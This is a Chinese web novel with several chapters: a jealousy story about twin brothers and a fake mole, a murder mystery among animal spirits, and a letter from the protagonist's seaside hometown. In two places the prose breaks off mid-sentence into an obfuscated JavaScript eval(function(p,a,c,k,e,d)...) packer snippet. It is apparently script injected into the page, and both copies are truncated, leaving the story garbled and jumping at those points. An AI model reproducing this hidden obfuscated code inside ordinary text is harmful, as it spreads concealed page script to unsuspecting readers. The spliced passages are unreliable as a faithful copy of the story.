“哥!你看!”顾夜白抬头看见窗边的顾时夜,眼睛亮了亮,却没立刻起身,只扬了扬手里的竹筛子,“雀安说昨儿看见只翅膀带金斑的鸟,咱们撒点食,说不定能引来。” 雀安也跟着仰头,细声细气地喊:“时夜哥哥好。” 顾时夜“嗯”了一声,目光落在顾夜白蹲得发麻的腿上,想说“地上凉,快起来”,话到嘴边却转了弯:“最好麻雀啄了你的手。”他看见顾夜白袖口磨出的毛边——那是昨夜两人抢点心时被自己拽的,此刻却觉得那毛边刺目得很,因为顾夜白的手腕正被雀安用小手指轻轻勾着。 以往这个时候,顾夜白早该像只小尾巴似的缠上来,要么扒着他脖子问今天能不能去买糖人,要么把新得的弹弓塞他手里炫耀。 可自从雀安来了后,顾夜白的笑眼总是追着那个小姑娘转。顾时夜低头看自己空空的手心,突然想起今早用过早膳,顾夜白把最后一块桂花糕递给雀安时,那副讨好的样子——明明昨天还缠着自己说,哥哥喂的桂花糕最甜。 醋意像坛泡在雪水里的梅子,酸得他后槽牙发紧。 府里人总说他们像两枚铜钱,一模一样的眉眼,一样爱捉弄人。可只有顾时夜知道,那点不一样藏在哪儿——顾夜白下巴有颗米粒大的黑痣,笑起来会跟着颤。 而他自己,总在夜深人静时,对着铜镜,用墨锭在相同的位置点上一颗假痣。 这是他独有的秘密。 午后雀安被方妙带去学做糖花,顾夜白难得有了空,却没像往常一样溜进顾时夜的房间,反而窝在自己屋里鼓捣新得的风筝。 顾时夜在廊下站了许久,看那扇紧闭的房门,心里那点酸涩渐渐发酵成一种更沉的东西——是恐慌,像小时候玩捉迷藏,他蒙着眼数到一百,睁眼却发现顾夜白不见了时的那种恐慌。 他怕顾夜白被别人抢走。 这种念头让他指尖发冷。他转身回房,闩上门,从妆奁深处摸出个小小的砚台。镜面蒙着层薄灰,他呵了口气擦净,镜中映出张与顾夜白别无二致的脸,唯独右下巴光洁一片。 “小白……”他对着镜子低声唤道,笔尖沾了点磨好的墨汁,小心翼翼地在镜中自己对应的位置点下去。墨汁浓黑,晕开时像滴入水中的夜,慢慢凝出颗圆润的黑点。 “你瞧,咱们是不是一模一样?”他用指腹轻轻晕染那点黑,力道轻得像怕碰碎什么,“雀安说你下巴的痣好看,可我点上,是不是也一样?” 镜子里的人眼神幽暗,平日里的调皮劲消失殆尽,只剩下某种近乎偏执的认真。他想起今早顾夜白给雀安编草蚱蜢时,那姑娘指着他下巴笑:“夜白哥哥这里有颗小黑豆,像天上掉下来的星星。”顾夜白当时笑得腼腆,摸了摸下巴说:“我哥没有呢。” 没有。 这两个字像根针,扎得顾时夜心口发疼。他明明和顾夜白是一个模子刻出来的,凭什么那颗痣只长在顾夜白脸上?凭什么顾夜白能因为这颗痣被雀安记住,而自己却成了“没有的那个哥哥”? “我也可以有。”他对着镜子,语气带着自己都未察觉的执拗,“你有的,我都该有。” 他又点了点那颗墨痣,直到颜色浓得像真的墨玉嵌入皮肤。镜中的人,终于有了和顾夜白一样的、会在笑时颤动的黑点。他看着镜中的自己,想象着顾夜白看见时的反应——会惊讶吗?会觉得奇怪吗?还是……会像雀安一样,觉得这样的“他”更好看? 就在这时,房门“吱呀”一声被推开了。 顾时夜浑身一僵,猛地回头,砚台“啪”地掉在地上,墨汁溅出几滴,在青砖上洇开深色的痕。 顾夜白站在门口,手里还攥着半只没扎完的风筝骨架,眼睛却直勾勾地盯着他的下巴。午后的阳光从他身后照进来,在他发梢镀上圈金边,脸上的表情混合着惊讶和好奇,唯独没有顾时夜最怕的嫌弃。 “哥?”顾夜白走近几步,歪着头看他,“你下巴怎么……” 顾时夜的心跳得像擂鼓,他下意识想擦去那点黑,手指却在半空停住。他看见顾夜白的目光落在他下巴上,眼神亮晶晶的,像发现了什么新奇玩意儿。 “你点了颗痣?”顾夜白蹲下来,凑近了看,鼻尖几乎要碰到他的下巴,“跟我这颗长得好像!”他兴奋地指着自己右下巴的那颗真痣,又抬头看顾时夜,“哥,你怎么想到的?” 顾时夜看着弟弟眼里毫不掩饰的兴奋,心里那点忐忑突然就烟消云散了。他甚至觉得有些得意——看,就算没有那颗真痣,他也能变成顾夜白喜欢的样子。 他故意板起脸,装作不在意地“哼”了一声:“闲着没事干,不行吗?” “行!怎么不行!”顾夜白笑得眼睛弯成月牙,伸手想去摸那颗墨痣,又怕蹭花了,手在半空停了停,改成抓住顾时夜的手腕,“哥,你点这个真好看!跟我一样了!” 他的手心暖暖的,像团小火炉,熨帖着顾时夜微凉的皮肤。 “你喜欢?”顾时夜故意拖长了声音,眼底却藏不住笑意。 “喜欢!”顾夜白用力点头,仰着小脸看他,眼神里全是依赖和崇拜,“哥做什么我都喜欢!” 顾时夜的心猛地软了下去。 他就知道,顾夜白心里最重要的还是他。 那个叫雀安的小姑娘,不过是一时新鲜罢了。 他不动声色地抽回手,指尖在顾夜白下巴的真痣上轻轻点了点,语气带着惯常的兄长腔调:“小傻子,一颗痣有什么好看的。” 顾夜白却抓住他的手指,放在自己下巴上,笑得更欢了:“可这是我哥没有的呀!现在哥也有了,咱们就更像了!以后别人肯定分不清我们!” 顾时夜看着弟弟眼里的光,那光里映着自己的影子,满满当当,全是他。他心里那点因雀安而起的醋意,此刻彻底化作了隐秘的满足。 他知道,顾夜白或许会被新鲜事物吸引,但最终,总会回到他身边。 就像现在这样,满心满眼都是他。 他看着顾夜白兴奋的样子,故意叹了口气,装出无奈的模样:“好了好了,快去把你的风筝扎完,等会儿雪停了,哥带你去放。” “耶!哥最好了!”顾夜白欢呼一声,蹦蹦跳跳地跑回自己房间拿风筝材料,临走前还不忘回头喊:“哥,你下巴的痣别擦掉啊!等会儿让雀安看看,肯定吓她一跳!” 顾时夜看着他的背影,嘴角的笑意慢慢加深。 他知道,这颗假痣迟早会被擦掉。但刚才顾夜白眼里的兴奋和依赖,却像烙印一样刻在了他心里。 只要能让顾夜白的目光始终追着他,别说点一颗假痣,就算做再多旁人看不懂的傻事,他也愿意。 他的小白,只能是他一个人的。 而此时顾夜白正把最后一根竹篾削成细条。雀安蹲在他脚边,仰着小脸看他编风筝,鼻尖上还沾着点糖霜,刚才顾时夜让小厮送来的糖糕,她咬了一口就巴巴地递到顾夜白嘴边,被他笑着躲开了。 “夜白哥哥,你看这只蜻蜓好不好看?”雀安举起张画着彩翅的纸。 顾夜白接过纸,目光却不着痕迹地飘向窗外。顾时夜的身影正立在对面廊下,墨色衣袍衬得他侧脸线条冷硬,手里捏着个茶盏,却半天没往嘴边送。 今早他又在偷偷点那颗墨痣了,顾夜白从门缝里看得清楚——哥哥对着镜子蹙眉的样子,像只被抢走了毛线球的猫,尾巴尖都透着委屈。 “好看。”顾夜白敷衍地应着,指尖在竹篾上摩挲。 他知道顾时夜在看他,那道视线重得像铅块,砸在他后颈上。 真好。 顾夜白嘴角勾起抹极淡的笑,又迅速隐去。他就是要看顾时夜这副失魂落魄的样子。 从小到大,哥哥总是把他当不懂事的小尾巴,高兴了就揉他头发,烦了就丢颗糖哄着,从来没意识到,这只小尾巴早就学会了摇着尾巴钓饵。 “夜白哥哥,我们什么时候去放风筝呀?”雀安拽了拽他的衣角。 “等雪停了就去。”顾夜白放下竹篾,故意提高了声音,“不过得叫上时夜哥哥一起,他放风筝最厉害了,去年还帮我追到了飞到树上的凤凰风筝呢!” 他眼角的余光看见顾时夜端着茶盏的手顿了顿,指节微微泛白。 上钩了。 顾夜白心里乐开了花,面上却装作浑然不觉,转头对雀安笑道:“你要不要去问问时夜哥哥,妙儿姐新做的糖蒸酥酪好了没?我有点想吃。” 雀安立刻蹦蹦跳跳地跑了。顾夜白看着她的背影消失在月洞门后,才慢悠悠地站起身,拍了拍衣摆上的竹屑。 他知道顾时夜此刻一定在懊恼——懊恼刚才没拦住雀安,懊恼自己又找了个由头把小姑娘支开。 “哥。”顾夜白转身,果然看见顾时夜站在廊下,手里的茶盏是空的,“你怎么站在这儿喝风?” 顾时夜没说话,目光落在他下巴上那颗真痣上,又飞快地移开,像是在确认什么。 顾夜白心里暗笑,故意侧过脸,让那颗黑痣在雪光下显得更清晰:“方才雀安说,我下巴的痣像小黑豆,哥你点的那个倒像……”他顿了顿,装作思索的样子,“像墨滴进了牛奶里,特别好看。” 顾时夜的耳根悄悄红了。他昨晚临睡前又对着镜子看了许久,生怕墨色晕开不好看,今早还特意用干净的布巾反复擦过,生怕被顾夜白嫌弃。此刻听弟弟这么说,心里那点别扭顿时散了大半,却又梗着脖子哼了声:“小孩子家懂什么。” “我懂呀。”顾夜白走近两步,“哥点了痣,就和我一模一样了,以后别人肯定分不清谁是哥哥谁是弟弟。”他故意把“一模一样”四个字咬得极重,看见顾时夜眼里闪过一丝不易察觉的得意。 就在这时,雀安抱着个食盒跑回来了,跑得太急,差点摔在雪地上:“夜白哥哥!时夜哥哥!酥酪来了!妙姐姐说刚蒸好的,可甜了!” 顾时夜的脸色瞬间沉了下去。 顾夜白却像没看见似的,接过食盒打开,里面果然盛着两碗乳白的酥酪,上面撒着细碎的果仁。他舀了一勺,却没往自己嘴里送,而是递到雀安嘴边:“尝尝看?” 雀安开心地张开嘴,顾时夜的眼神却冷得像冰。 他看着顾夜白喂雀安吃酥酪的样子,那副耐心温柔的模样,和平时对着自己时截然不同。明明之前顾夜白还缠着他,非要他用勺子喂才肯吃粥。 “哥,你也吃。”顾夜白像是终于想起了他,又舀了一勺递过来,指尖还沾着点乳白的酥酪。 顾时夜没接,只是盯着他喂过雀安的那只手,声音冷得能掉出冰碴:“我不饿。” 顾夜白挑了挑眉,故意把勺子往他嘴边送了送:“怎么会不饿呢?早上你就喝了碗粥……” “我说了不饿!”顾时夜猛地挥开他的手,力道大得让勺子里的酥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哥哥生气的样子,板着脸的样子,偷偷点痣的样子……”他一字一句地说,声音轻得像羽毛,却重重地落在顾时夜心上,“我都喜欢。” 顾时夜猛地怔住了。他看着顾夜白眼里毫不掩饰的笑意,看着他眼底那点狡黠的光,终于明白,自己从一开始就掉进了这个小混蛋设的圈套里。 他不是在吃雀安的醋,他是在吃顾夜白故意露出的“不在意”的醋。 而顾夜白,这个看似没心没肺的弟弟,早就看穿了他那点可怜的占有欲,还故意伸出了诱饵,等着他心甘情愿地咬钩。 他反手抓住顾夜白的手腕,力道大得几乎要捏碎他的骨头,眼神里翻涌着复杂的情绪——有恼怒,有羞愤,还有一丝被戳破心事的狼狈,但更多的,是一种失而复得的、近乎滚烫的欣喜。 “顾夜白,”他咬着牙,一字一顿地说,“你胆子越来越大了。” 顾夜白被他捏得皱了皱眉,却笑得更欢了,他晃了晃被抓住的手腕,像条摇着尾巴的小狗:“哥,你弄疼我了。” 他知道顾时夜不会真的弄疼他。 就像他知道,无论自己怎么“捣乱”,顾时夜的目光总会追着他,心里总会装满他。 “哥,其实,不用点痣,我们也很像呀。”顾夜白突然伸手,轻轻抚摸着顾时夜的下巴,“你看,我们的眼睛,鼻子,嘴巴,都长得一样,连笑起来的样子都一样。” 顾时夜被他摸得有些发烫,他抓住顾夜白的手,声音有些沙哑:“不一样,你下巴有颗痣。” “所以你才点一颗呀——”顾夜白笑了,“哥,你是不是觉得,有了这颗痣,我们就更像了,就不会被别人分开了?” 顾时夜沉默了。 他不得不承认,顾夜白说中了他的心事。 他之所以会偷偷点那颗痣,除了吃醋,更多的是一种恐惧。恐惧他们之间的联系不够紧密,恐惧有一天会被别人区分开来,恐惧……失去这份独一无二的羁绊。 “哥,”顾夜白看着他,眼神突然变得很认真,“你知道吗?其实我也很怕。” “怕什么?” “怕你不喜欢我了,怕你觉得我烦,怕你……”顾夜白顿了顿,声音低了下去,“怕你被别人抢走。” 顾时夜猛地抬起头,看着他。 “我故意跟雀安玩,故意不理你,就是想看看你会不会紧张,”顾夜白的声音带着一丝委屈,“看到你吃醋的样子,我其实……很开心。” 顾时夜的心像是被什么东西狠狠撞了一下。他看着顾夜白眼里的认真和一丝不易察觉的脆弱,突然觉得喉咙有些发紧。 原来,他不是唯一一个害怕失去的人。 他松开手,却顺势抓住了顾夜白的后颈,将他的头按在自己肩窝,声音闷闷的,带着点被拆穿的恼羞成怒:“下次再敢跟别的小姑娘走那么近,看我不打断你的腿。” 顾夜白把脸埋在他怀里,嘴角的笑意再也藏不住。他蹭了蹭顾时夜胸前的衣襟,心里满足得像泡在温水里的懒猫。 “知道了,哥。”他闷闷地应着,指尖却悄悄勾住了顾时夜腰间的玉带,像抓住了全世界最牢固的锚。 顾时夜知道,自己这颗心,是彻底被眼前这个小混蛋拴死了。 而顾夜白也知道,他想要的,从来都不是什么天上的风筝,而是眼前这个会为他吃醋、为他点痣、为他方寸大乱的哥哥。 那点小小的占有欲,不过是他逗弄哥哥的鱼饵,而他的哥哥,早已心甘情愿地,把自己当成了上钩的鱼。 60. 新年头彩 “红是盛宴别在衣襟的徽章,翻过来——是血祭揭幕的烫金请柬” 在江知烨和方妙看来,春节刚过,早晨应该是在床上和伴侣温存,而不是待在一个沾满鲜血的屋子里,看着被烧焦的尸体,墙上甚至还贴着崭新的窗花。 但事实上,就算没有报案,安德鲁和柳漠澜也不会在床上呆很久,他们总忙于自己事情——都察院的公务以及“花月满人间”的生意。 “知烨啊......我说啊,我一个捕快为什么来,你知道现在才几时?”方妙像个老大爷一样,一脸惆怅地蹲在门口,“真晦气大过年的.....” “闭嘴吧,里面那状况已经够邪门了......”江知烨双手抱臂生无可恋地靠在墙上,屋子里的场景算是他这辈子见过最难忘的了。 “更邪门的是屋里的血!”方妙站起身跺了跺冻僵的脚,“邻居说推开门时,血腥味能呛死人,墙上、地上全是喷溅的血点,跟那烧焦的尸体混在一块儿,啧啧……”她咋舌摇头,忽然压低声音,“知烨你说,会不会是兽化失控?” 江知烨随手狐裘大氅往肩上一披:“谁知道了呢?陈九老先生和苏绵呢?” “快来了吧。” 杂院门口已围了一圈看热闹的兽人,獾子精搓着爪子直哆嗦,猫头鹰大婶扑棱着翅膀压低嗓音:“昨儿半夜我听见狗叫,跟哭似的……” 话音未落陈九拨开人群,一股混合着焦臭与血腥的浊气扑面而来,苏绵捏着鼻子跟进去。 此时顾时夜和顾夜白俩人正蹲在院角检查脚印。顾时夜正用匕首挑起一块冻硬的布片:“小白你看,这像是狼毛?” 闻言顾夜白用指尖蹭过地面暗红色的冻痕:“血渗进雪里了,得挖开看看。”他抬头看见江知烨走过来,立刻起身敬礼:“江大人!屋内勘察过了,陈九老先生在验尸,苏绵姑娘在搜草药。” 正说着,里屋传来“咚”的一声闷响。方妙抢先冲进去,只见陈九老先生扶着腰,面前的焦尸旁滚落一只陶碗。老人头发花白,指尖沾着暗红粉末:“这尸体烧得蹊跷,外焦里……”他顿了顿,用银镊子夹起一块焦皮,“里面的血肉没全熟,倒像是被什么东西瞬间高温灼烤过。” 苏绵蹲在墙角的药篓旁,听见动静,她举起一支干枯的草茎:“江大人,这里有曼陀罗和鬼针草,还有……”她指尖划过一块碎瓷片,“这药渣里有硫磺和硝石。” “硫磺硝石?”江知烨走到尸体旁,只见焦尸蜷成一团,右手死死攥着什么。顾时夜上前轻轻掰开手指,掌心里是半枚烧黑的玉佩,纹路像是朵残缺的梅花。 方妙忽然指着炕沿:“知烨你看!血!” 炕沿的木纹里嵌着暗褐色的血痂,顺着炕沿滴到地上,形成一条断续的血线。而焦尸脚下的地面,却只有焦黑的灰烬。 “血是从炕上流下来的。”江知烨蹲下身,指尖蹭过血线,“但尸体却在炕边烧焦……凶手先在炕上杀人,放血,再把尸体拖到地上焚烧?” “不对啊江大人,”顾时夜挠了挠头,“这血溅得满墙都是,跟宰猪似的,可尸体烧得这么均匀,不像临时找的柴火。”他指了指墙角,那里除了灰烬什么都没有。 顾夜白忽然蹲到尸体头部位置,鼻尖凑近地面:“哥,你闻这灰——有煤油味。”下一秒他指尖插进灰烬,捻起一点黑色粉末,“凶手用煤油助燃,但这高温……”他看向陈九老先生。 老人捻着胡须,从药箱里拿出一小瓶粉末撒在焦尸破损的皮肤上。粉末遇肉瞬间泛起蓝烟,发出“滋滋”的声响。“果然是磷火。”陈九皱眉,“有人用白磷混合煤油焚尸,这温度能瞬间灼穿皮肉。” “白磷焚尸,曼陀罗迷魂,还有满屋子的血……”方妙蹲在炕边,用细竹片刮取血痂,“凶手心思够狠,手段也杂。” 江知烨拿起那半枚梅花玉佩,玉佩边缘有整齐的切口,像是被利刃斩断。“苏绵,这附近有戴梅花玉佩的人吗?” 小姑娘歪着头想了想,“有家花铺的老板娘是只梅花鹿,她总戴个玉梅花……不过昨儿她回娘家了,我前儿还见她在街口买糖瓜呢。” “去查查死者身份。”江知烨将玉佩交给顾夜白,“夜白,你带妙儿去花铺问问,时夜跟我去邻居家走访。陈九老先生,尸体先运回府衙,苏绵你把药渣带回去检验,看看有没有别的成分。” 分工完毕,众人各自行动。顾夜白带着方妙走出杂院,却突然停在隔壁院门口。院门虚掩着,里面传来女人的啜泣声。 “谁在里面?”方妙推门而入,只见一个狸猫妇人正蹲在灶台前哭,锅里的腊八粥咕嘟冒泡。妇人见了他们,慌忙抹泪:“官爷……” “你是死者的邻居?”顾夜白打量着屋内,墙角堆着些兽皮,桌上放着半块没吃完的年糕。 妇人点点头,声音哽咽:“是……死者叫刘大志,是个皮货商,光棍一个,平时挺和善的……” “昨晚你听到什么动静没?”方妙追问。 狸猫妇人打了个寒噤,压低声音:“后半夜……听见他屋里有吵架声,好像是两个人,一个声音粗,一个声音尖,还听见‘玉佩’‘还钱’什么的……后来就没声了,我以为是醉鬼闹事,没敢管……” “吵架?”顾夜白挑眉,“有没有听见兽化的声音?比如低吼、爪挠声?” 妇人摇头:“没听见,就是人说话……不过快天亮时,我好像闻到一股怪味,像……像烧鸡毛?” 与此同时,江知烨和顾时夜正在另一家邻居家。这是对獾子精夫妇,老头搓着手道:“刘大志啊,他前阵子跟人起过冲突!就上个月,他在赌坊输了钱,被个穿黑斗篷的人堵在巷子里,我远远看见那人手里拿着刀,好像要抢他什么东西……” “看清那人长什么样了吗?”江知烨追问。 “没看清,”獾子精摇摇头,“那人戴着兜帽,不过走路有点瘸,左脚好像不太方便。” 顾时夜忽然指着墙上的日历:“江大人,今天正月初二,刘大志昨天被杀……前天夜里,西市的赌坊是不是开了通宵?” “这我不清楚,通畅过年这段时间都是通宵,因为生意更好。” 闻言江知烨思索片刻,“先回去看看情况,还要注意一下赌坊人员流动。” 回到理尚府时,陈九老先生的验尸结果已经出来。“死者刘大志,颈部有锐器割伤,是致命伤。”老人指着验尸图,“但他身上还有多处钝器伤,像是被人殴打后才被杀的。最奇怪的是这血——”他举起一个装着血样的瓷瓶,“屋里的血大部分是死者的,但有一小部分……不是人血,也不是常见兽人的血,成分很奇怪,像是……混合了多种兽类的精血。” 苏绵端着药渣走进来,小脸皱成一团:“药渣里除了曼陀罗、鬼针草、硫磺、硝石,还有……一点龙涎香。” “龙涎香?”江知烨猛地站起来,“那可是深海的东西,怎么会出现在西市杂院?” 正说着,顾夜白和方妙推门而入。方妙手里拿着半块年糕,顾夜白则捧着个木盒:“江大人,花铺老板娘确实有枚玉梅花,但她的玉佩完好无损。不过我们在刘大志常去的赌坊打听到,他欠了赌坊老板一大笔钱,赌坊老板是只黑熊精,走路有点瘸!” “黑熊精?”顾时夜挠头,“可黑熊精的血是暗红色的,跟陈九老先生说的混合精血对不上啊。” “还有这个!”方妙献宝似的举起年糕,她的嘴角甚至还沾有年糕上的糖霜,“赌坊旁边的小吃摊老板说,昨儿半夜看见刘大志跟一个穿黑斗篷的人在巷口拉扯,那人手里拿着个布包,掉了块年糕出来,跟这一模一样!” 江知烨盯着桌上的半枚玉佩,又看看陈九老先生的验尸报告:“凶手先用药迷晕刘大志,或者用曼陀罗让他兽化失控,然后殴打、割喉放血,再用白磷焚尸……但为什么要弄得这么复杂?直接杀人不就行了?” “也许是为了掩盖什么。”顾夜白忽然开口,“焚尸掩盖伤口,满地鲜血掩盖别的血迹,药渣混淆视线……还有这半枚玉佩,凶手没拿走,反而留在死者手里,像是故意留下的线索。” “故意留线索?”方妙眨眨眼,“难道是嫁祸?” “走,去赌坊!”江知烨披上大氅,“顺便查查那个走路瘸的黑熊精,还有……龙涎香的来路。” 赌坊里烟雾缭绕,骰子声和叫骂声混杂在一起。黑熊精老板正坐在柜台后数钱,看见江知烨一行,立刻堆起笑容:“江大人,您怎么来了?” “刘大志的事,你知道吧?”江知烨开门见山。 黑熊精脸上的笑容僵住,搓着手道:“知道知道,真是惨啊……刘大志是欠了我点钱,可我不至于杀人啊!再说昨儿半夜我一直在赌坊,伙计们都能作证!” 顾时夜忽然凑近黑熊精,不动声色地用鼻子嗅了嗅:“老板,你身上好像有股怪味,像……煤油?” 黑熊精脸色大变,猛地站起来,椅子“哐当”一声倒地。顾夜白眼疾手快,一把扣住他的手腕:“老板,跟我们回府衙聊聊吧。” 就在这时,赌坊后门突然传来一声惨叫。 众人冲出去,只见一个穿黑斗篷的人倒在血泊里,胸口插着把匕首,正是刚才在赌坊里打杂的伙计。顾时夜蹲下身,翻开斗篷兜帽—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“黄鼠狼精中了曼陀罗的毒,在幻觉中杀了刘大志?”方妙皱着眉,“可他为什么要准备白磷和煤油?还有那混合精血是怎么回事?” “混合精血……”陈九老先生忽然一拍大腿,“我想起来了!龙涎香不仅能解百毒,还能融合不同兽类的精血,短时间内能让使用者精神亢奋,但过后会精血逆流而死!” 顾夜白猛地抬头:“黄鼠狼精偷了刘大志的玉佩,发现里面藏着龙涎香,于是想利用曼陀罗让刘大志兽化,再用龙涎香融合他的精血,增强自己的力量!但他没想到龙涎香和曼陀罗混用会中毒,结果在幻觉中杀了刘大志,自己也因为精血逆流快死了,所以想焚尸灭迹,嫁祸给花铺老板娘!” “可刘大志只是个普通的皮货商,怎么会有龙涎香和这么贵重的玉佩?”顾时夜疑惑道。 江知烨拿起完整的玉佩,对着烛光细看,只见梅花纹路里刻着极小的字:“癸未年,赠阿梅。”他忽然想起苏绵的话——花铺老板娘是梅花鹿,也姓梅。 “走,再去花铺!” 夜晚中的绸缎庄静悄悄的,老板娘梅氏正坐在灯下缝补衣服,看见江知烨一行,脸上露出惊讶:“江大人,这么晚了……” 江知烨将玉佩放在桌上:“梅老板,这玉佩你认识吧?” 梅氏脸色瞬间煞白,指尖的针线掉在地上。“这……这是我爹当年送给我娘的定情信物,后来……后来丢了……” “丢了?”江知烨追问,“什么时候丢的?刘大志跟你是什么关系?” 梅氏嘴唇颤抖,泪水涌了出来:“刘大志……他是我表哥……这玉佩是我托他找的,里面藏着我娘留给我的一点龙涎香,她说关键时刻能救命……可我没想到……” “你没想到他会偷龙涎香,更没想到有人为了龙涎香杀了他,还想嫁祸给你。”江知烨叹了口气,“黄鼠狼精应该是知道了玉佩的秘密,才策划了这一切。他先用曼陀罗迷晕刘大志,想逼问龙涎香的下落,结果刘大志兽化反抗,两人搏斗中黄鼠狼精中了曼陀罗的毒,又误用龙涎香,在幻觉中杀了刘大志,还把自己的血混在了现场……” “那满地的血……”方妙恍然大悟,“是两人搏斗时溅的,黄鼠狼精怕暴露,就用白磷焚尸,想掩盖混合精血的痕迹!” 梅氏瘫坐在椅子上,泪水无声滑落:“早知道这样,我就不该……” “把黄鼠狼精的尸体抬回去,结案吧。”江知烨随意理了理衣襟,“通知仵作,明天一早下葬,让他过个‘安稳’年。” 顾氏兄弟和方妙对视一眼,都从对方眼里看到了疲惫。走出花铺时,方妙忽然打了个哈欠:“知烨,你说大过年的,怎么就不能安分点呢?” 江知烨望着远处零星的灯笼,笑了笑:“有人的地方,就有是非。走吧,我现在看到红色就起鸡皮疙瘩。” 61. 家乡来信 江知烨至死没想到,离开家乡2300多年,自己还能收到家乡的信件。 原因是为了让自己回去过“万萨节”——海洋所有种族每百年一次的节日。 只是……他已经离开那么久了。 久到几乎忘记自己也曾是那片海洋的子民,久到以为望潮镇的人们早已将他遗忘。 为何偏偏在这个时候,寄出这封跨越了两千多年时光与距离的信? “知烨?” 门被轻轻推开,方妙清脆活泼的声音像春日阳光般洒了进来。她蹦蹦跳跳地走到书桌旁,手里还拿着一串刚买的糖葫芦,“你看你,又对着卷宗发呆呢?安德鲁说中午去‘醉仙楼’吃饭,叫我们一起去——你怎么了?脸色不太好,是遇到什么难事儿了吗?” 江知烨回过神,将手中的信随意叠起,藏在袖中,勉强笑了笑:“没什么,只是收到一封……有点意外的信。” “意外的信?”方妙眨眨眼,好奇心更重了,“哪里来的信?能让你这么出神?” 正说着,门外又传来一阵脚步声,伴随着顾时夜和顾夜白兄弟俩略显喧闹的对话。 “哥,你说今天理尚府会不会提前放衙?我听说城西新开了家蹴鞠场,咱们去试试?” 顾时夜拍了拍弟弟的头,语气带着点无奈:“小白,先别说玩的事儿,看看江大人有没有事要吩咐。” 两人一进门,顾时夜便拱手道:“江大人,我和小白处理完了手头的文书,特来复命。” “妙儿姐,又买好吃的了?”顾夜白眼睛一亮。 方妙笑着递给他一颗:“就知道你馋嘴,给。” “谢妙儿姐!”顾夜白开心地接过来,顾时夜也无奈地摇了摇头,看向江知烨:“江大人,您脸色似乎不太好,可是有什么烦心事?” 江知烨看着眼前这几个活泼的年轻人,心中那点因来信而起的波澜,似乎被他们的朝气冲淡了些。 他沉吟片刻,终究还是没忍住,从袖中取出那封信,递给了离他最近的安德鲁。 只见对方接过信,展开一看,浓眉微挑,眼中闪过一丝惊讶:“望潮镇?万萨节?” 他的声音不高,却让屋里的气氛瞬间安静了下来。方妙、顾时夜、顾夜白都好奇地凑了过去,连一直安静站在角落的白鸽也抬了抬眼,目光落在那封信上。 “望潮镇……是知烨你的家乡吗?”方妙小声问道,她曾听江知烨零星提过一些过去的事情,但具体细节并不清楚。 “嗯,”江知烨点点头,声音有些复杂,“一个靠海的小镇。万萨节……是那边每百年一次的节日。” “大海!”顾夜白立刻兴奋起来,眼睛瞪得圆圆的,“江大人,你是说真正的大海吗?不是咱们南清城边上的江水,是那种一眼望不到头,全是咸咸的水,还有好多鱼的大海?” 顾时夜也有些向往:“我只在书上看过关于大海的描写,说海面上有巨轮,海底有珊瑚礁,还有各种奇特的海族……” 方妙更是一脸憧憬:“我之前流浪的时候去过一次海边,不过那时候匆匆忙忙的,只记得浪好大,沙子好烫,都没怎么好好看看。”她看向江知烨,眼神亮晶晶的,“知烨,你们家乡的大海是不是特别美?” 看着众人眼中毫不掩饰的好奇与向往,江知烨心中那点犹豫又深了几分。 他知道,南清城地处江南,离海边甚远。从大江坐船到望潮镇的码头,即便是顺风顺水,春天出发,来回一趟,至少也要到夏天才能抵达,耗时良久。 他身为理尚府的推官,事务繁杂,岂能说走就走? “可是……路途太远了。”江知烨缓缓道,“从南清到望潮镇,坐船需要很长时间,春天出发,回来恐怕就到夏天了。我这理尚府的事务……” “事务可以暂时交给副手打理嘛!”顾夜白立刻接口,脸上满是期待,“江大人,难得有机会去看看大海,还是你的家乡,还有那个什么万萨节,听起来就很有意思啊!” “小白说得对,”顾时夜也帮腔,“江大人,您也太久没休息了,正好借此机会放松一下。我们都没见过真正的大海呢,就当带我们去开开眼界嘛!” 方妙也拉了拉江知烨的袖子,撒娇道:“知烨,你就答应吧!我也好想再去看看大海,看看你长大的地方是什么样子的。安德鲁,你说是不是?” 安德鲁放下信,看向江知烨,眼中带着温和的笑意:“知烨,我知道你担心公务,但都察院和理尚府的事务,暂时交给可靠的副手,应该没问题。你离开望潮镇这么久,既然家乡来信邀请,于情于理,回去看看也是应该的。” 他顿了顿,又道:“而且,你看他们几个,眼睛都快放出光来了。方妙虽见过一次大海,但也是匆匆一瞥,顾时夜和顾夜白还有白鸽,都没见过。带他们去见识一下海洋的盛事,不好吗?” 江知烨的目光扫过众人。方妙满脸期待,两小乌鸦几乎要蹦起来,连一向安静的白鸽,眼中也闪烁着一丝不易察觉的向往。 “可是……”江知烨还是有些迟疑,“这毕竟不是小事,需要好好安排才行。” “所以才要你去和安德鲁商量嘛!”方妙推着他的胳膊,“你看安德鲁都这么说了,肯定没问题的!快去快去,我和夜白、时夜在这里等你们消息!” 安德鲁笑了笑,:“走吧,知烨,我们去书房好好谈谈。” 江知烨看着众人期待的眼神,深吸一口气,点了点头:“好,我去和安德鲁商量一下。你们……先别太激动,事情还没定呢。” 话虽如此,看着顾夜白已经开始手舞足蹈地幻想大海的样子,他知道,这事儿恐怕多半是要成了。 和安德鲁走进里间的书房,关上了门。窗外的阳光透过窗棂,在地板上投下斑驳的光影,空气中弥漫着墨香和淡淡的茶香。 安德鲁走到窗边,背对着江知烨,望着窗外生机勃勃的庭院,沉声道:“知烨,我知道你在担心什么。不仅仅是公务,还有望潮镇那边,时隔两千多年突然来信,其中必有缘由,你是不是也觉得有些蹊跷?” 江知烨坐在椅子上,指尖轻轻敲击着桌面,眉头紧锁:“确实。我离开望潮镇时,不过是个少年,如今物是人非,父亲也早已去世,按理说,我与望潮镇的联系早已断了。为何偏偏在万萨节前夕,收到这样一封邀请信?” 他顿了顿,语气中带着一丝不易察觉的怅惘:“而且,万萨节虽是盛事,但通常邀请的都是在当地有影响力的海族,或者与海洋事务相关的人。我早已离开海边,在南清担任理尚府的职务,于望潮镇而言,恐怕早已是个被遗忘的外人了。” 